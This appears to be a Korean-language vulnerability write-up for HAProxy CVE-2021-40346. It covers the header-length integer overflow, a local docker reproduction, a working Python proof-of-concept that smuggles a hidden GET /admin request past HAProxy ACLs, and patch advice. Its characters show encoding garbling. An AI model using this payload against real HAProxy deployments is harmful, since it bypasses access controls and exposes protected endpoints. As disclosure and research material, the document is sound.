Share
## https://sploitus.com/exploit?id=C6651C75-45C4-5A75-9E0F-77CB87257507
# CVE-2021-40346 โ€” HAProxy Integer Overflow leading to HTTP Request Smuggling

## ์ทจ์•ฝ์  ์š”์•ฝ

- HAProxy๋Š” ์˜คํ”ˆ์†Œ์Šค ๊ธฐ๋ฐ˜ ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ ๊ฒธ ๋กœ๋“œ ๋ฐธ๋Ÿฐ์„œ๋กœ, ๋ถ€ํ•˜ ๋ถ„์‚ฐ ๋ฐ ACL(์ ‘๊ทผ ์ œ์–ด ๊ทœ์น™) ์ฒ˜๋ฆฌ ๋“ฑ์„ ๋‹ด๋‹นํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด์ž„
- CVE-2021-40346์€ HAProxy๊ฐ€ HTTP ํ—ค๋”๋ฅผ ๋‚ด๋ถ€ HTX ํฌ๋งท์œผ๋กœ ์ €์žฅํ•˜๋Š” `htx_add_header()` ํ•จ์ˆ˜์—์„œ ํ—ค๋” ์ด๋ฆ„(Header Name)์˜ ๊ธธ์ด๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š” ๊ณผ์ •์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ ‘๊ทผ ์ œ์–ด ์šฐํšŒ(ACL Bypass) ์ทจ์•ฝ์ 
- ์ด ์ทจ์•ฝ์ ์€ HTTP ์š”์ฒญ ๋‚ด ํ—ค๋” ์ด๋ฆ„์˜ ๊ธธ์ด๋ฅผ ํŠน์ • ์กฐ๊ฑด์— ๋งž๊ฒŒ ๋Š˜๋ฆฌ๋Š” ๊ฒƒ ๋งŒ์œผ๋กœ ๋ฐฑ์—”๋“œ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ์š”์ฒญ์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์—์„œ, ์กฐ์ž‘ ๋ฐฉ์‹์€ ๋‹จ์ˆœํ•˜๋‚˜ ๊ทธ ํŒŒ๊ธ‰๋ ฅ์€ ๊ฐ•๋ ฅํ•œ ์ทจ์•ฝ์ ์œผ๋กœ ํ‰๊ฐ€๋จ
- ์ฐธ๊ณ  ์ž๋ฃŒ: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

## ์ทจ์•ฝ ์กฐ๊ฑด

- **์˜ํ–ฅ ๋ฒ„์ „**: HAProxy 2.0 ์ด์ƒ ~ 2.5(dev6 ํฌํ•จ) ์ดํ•˜
- **ACL ์„ค์ •**: ํ”„๋ก ํŠธ์—”๋“œ์— `http-request` ๊ธฐ๋ฐ˜์˜ ๊ฒฝ๋กœ ์ ‘๊ทผ ์ œ์–ด ๊ทœ์น™ (์˜ˆ: `path_beg /admin`)์ด ์„ค์ •๋˜์–ด ์žˆ์„ ๊ฒƒ โ€” ์ด ๊ทœ์น™์ด ์šฐํšŒ ๋Œ€์ƒ์ด ๋จ

## ๋ถ„์„

HAProxy๋Š” HTTP ํ—ค๋”๋ฅผ ๋‚ด๋ถ€ HTX ํฌ๋งท์œผ๋กœ ์ €์žฅํ•  ๋•Œ, ํ—ค๋” ์ด๋ฆ„ ๊ธธ์ด๋ฅผ
8๋น„ํŠธ(์ตœ๋Œ€ 255) ํ•„๋“œ์— ๊ธฐ๋กํ•œ๋‹ค. `htx_add_header()` ํ•จ์ˆ˜์—๋Š” ์ด ๊ธธ์ด๋ฅผ
๊ฒ€์ฆํ•˜๋Š” ๋กœ์ง์ด ๋ˆ„๋ฝ๋˜์–ด ์žˆ์–ด, 256๋ฐ”์ดํŠธ ์ด์ƒ์˜ ์ด๋ฆ„์„ ๋ณด๋‚ด๋ฉด ์ •์ˆ˜
์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ๋„˜์นœ ๋น„ํŠธ๊ฐ€ ์ธ์ ‘ํ•œ ๊ฐ’ ๊ธธ์ด ํ•„๋“œ๋กœ ํ˜๋Ÿฌ ๋“ค์–ด๊ฐ„๋‹ค.

ํ—ค๋” ์ด๋ฆ„์„ ์ •ํ™•ํžˆ 270๋ฐ”์ดํŠธ๋กœ ๋งŒ๋“ค๋ฉด(`270 mod 256 = 14`), HAProxy๋Š”
์ด๋ฅผ `"Content-Length"`(14๊ธ€์ž)๋กœ ์ฐฉ๊ฐํ•˜๊ณ , ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ ์˜ค์—ผ๋œ 1๋ฐ”์ดํŠธ๋ฅผ
๊ฐ’์œผ๋กœ ์ฝ๋Š”๋‹ค. ์ด ์ž๋ฆฌ์— `"0"`์„ ๋ฐฐ์น˜ํ•˜๋ฉด **์œ„์กฐ๋œ
`Content-Length: 0` ํ—ค๋”**๊ฐ€ ๋งŒ๋“ค์–ด์ง„๋‹ค.

์ด ์œ„์กฐ ํ—ค๋” ๋’ค์— ์ง„์งœ `Content-Length` ํ—ค๋”๋ฅผ ์ด์–ด ๋ณด๋‚ด๋ฉด, HAProxy๋Š”
์ค‘๋ณต ํ—ค๋” ์ค‘ ๋จผ์ € ์˜จ ๊ฒƒ(์œ„์กฐ๋œ 0)์„ ์ฑ„ํƒํ•˜๊ณ  ์ง„์งœ ๊ฐ’์€ ํ๊ธฐํ•œ๋‹ค. ์ด๋•Œ
ํด๋ผ์ด์–ธํŠธ๋กœ๋ถ€ํ„ฐ ์‹ค์ œ ๋ณธ๋ฌธ์„ ์ฝ์–ด๋“ค์ด๋Š” ๊ณผ์ •์€ ์›๋ณธ ํ…์ŠคํŠธ๋ฅผ ๊ธฐ์ค€์œผ๋กœ
์ •ํ™•ํžˆ ๋™์ž‘ํ•˜์ง€๋งŒ, ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌ๋˜๋Š” ํ—ค๋”์—๋Š” ์œ„์กฐ๋œ ๊ฐ’(0)์ด ๊ธฐ๋ก๋˜์–ด
**"์‹ค์ œ ์ˆ˜์‹ ํ•œ ๋ณธ๋ฌธ ํฌ๊ธฐ"์™€ "๋ฐฑ์—”๋“œ์— ํ†ต๋ณด๋œ ํฌ๊ธฐ"๊ฐ€ ๋ถˆ์ผ์น˜**ํ•˜๊ฒŒ ๋œ๋‹ค.

๋ฐฑ์—”๋“œ๋Š” ํ†ต๋ณด๋ฐ›์€ ๊ฐ’(0)์„ ๋ฏฟ๊ณ  ํ•ด๋‹น ์š”์ฒญ์ด ๋๋‚ฌ๋‹ค๊ณ  ํŒ๋‹จํ•œ ๋’ค, ์›๋ž˜
๋ณธ๋ฌธ์ด์—ˆ๋˜ ๋ฐ์ดํ„ฐ๋ฅผ ์™„์ „ํžˆ ์ƒˆ๋กœ์šด ์š”์ฒญ์œผ๋กœ ์žฌํ•ด์„ํ•œ๋‹ค. HAProxy์˜ ACL์€
์ด๋ณด๋‹ค ์•ž์„œ ์ตœ์ดˆ ์š”์ฒญ์ค„์— ๋Œ€ํ•ด์„œ๋งŒ ๊ฒ€์‚ฌ๋˜๋ฏ€๋กœ, ์ˆจ๊ฒจ์ง„ ๋‘ ๋ฒˆ์งธ ์š”์ฒญ์€
๊ฒ€์‚ฌ ๋Œ€์ƒ์— ํฌํ•จ๋˜์ง€ ๋ชปํ•œ ์ฑ„ ๋ฐฑ์—”๋“œ์— ๋„๋‹ฌํ•œ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ ์„ค์ •๋œ ๋ชจ๋“ 
`http-request` ACL์ด ์šฐํšŒ๋œ๋‹ค.

## ํ™˜๊ฒฝ ๊ตฌ์„ฑ ๋ฐ ์žฌํ˜„ ์ ˆ์ฐจ

- `docker compose up --build -d` ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ทจ์•ฝํ•œ ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ ์‹คํ–‰ (haproxy ver.2.2.16 / backend: gunicorn)
- ์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด HAProxy์™€ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„ ํ™œ์„ฑํ™” ํ…Œ์ŠคํŠธ

  ```bash
  until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
  echo "์ค€๋น„ ์™„๋ฃŒ"
  ```

- `python3 poc.py --host 127.0.0.1 --port 8080` poc ์ฝ”๋“œ ์‹คํ–‰
- `docker logs cve-2021-40346-backend --tail 5` ๋ฐฑ์—”๋“œ ์ ‘์† ๋กœ๊ทธ๋ฅผ ํ†ตํ•ด `/admin` ์š”์ฒญ์ด ์‹ค์ œ๋กœ ์ฒ˜๋ฆฌ๋˜์—ˆ๋Š”์ง€ ํ™•์ธ

## PoC ์ฝ”๋“œ

```python
import socket

HOST = "127.0.0.1"
PORT = 8080

# ์ด๋ฆ„์„ 270๋ฐ”์ดํŠธ๋กœ ๋งŒ๋“ค๋ฉด 8๋น„ํŠธ ์ด๋ฆ„ ๊ธธ์ด ํ•„๋“œ๊ฐ€ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋˜์–ด
# HAProxy๊ฐ€ ์ด๊ฑธ "Content-Length: 0" ํ—ค๋”๋กœ ์ฐฉ๊ฐํ•œ๋‹ค.
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))
```

## ์‹คํ–‰ ๊ฒฐ๊ณผ

![์‹คํ–‰ ๊ฒฐ๊ณผ](image.png)

## ๋Œ€์‘ ๋ฐฉ์•ˆ

- **๋ฒ„์ „ ์—…๊ทธ๋ ˆ์ด๋“œ**: 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 ์ด์ƒ์œผ๋กœ ์ฆ‰์‹œ ์—…๋ฐ์ดํŠธ
  (`htx_add_header()`์— ์ด๋ฆ„/๊ฐ’ ๊ธธ์ด ๊ฒ€์ฆ ๋กœ์ง ์ถ”๊ฐ€๋กœ ๊ทผ๋ณธ ํ•ด๊ฒฐ๋จ)
- **์‹ฌ์ธต ๋ฐฉ์–ด**: ํ”„๋ก์‹œ ACL์—๋งŒ ์˜์กดํ•˜์ง€ ์•Š๊ณ , ๋ฐฑ์—”๋“œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜
  ์ž์ฒด์—๋„ ์ธ์ฆ/์ธ๊ฐ€ ๋กœ์ง์„ ์ด์ค‘์œผ๋กœ ๊ตฌํ˜„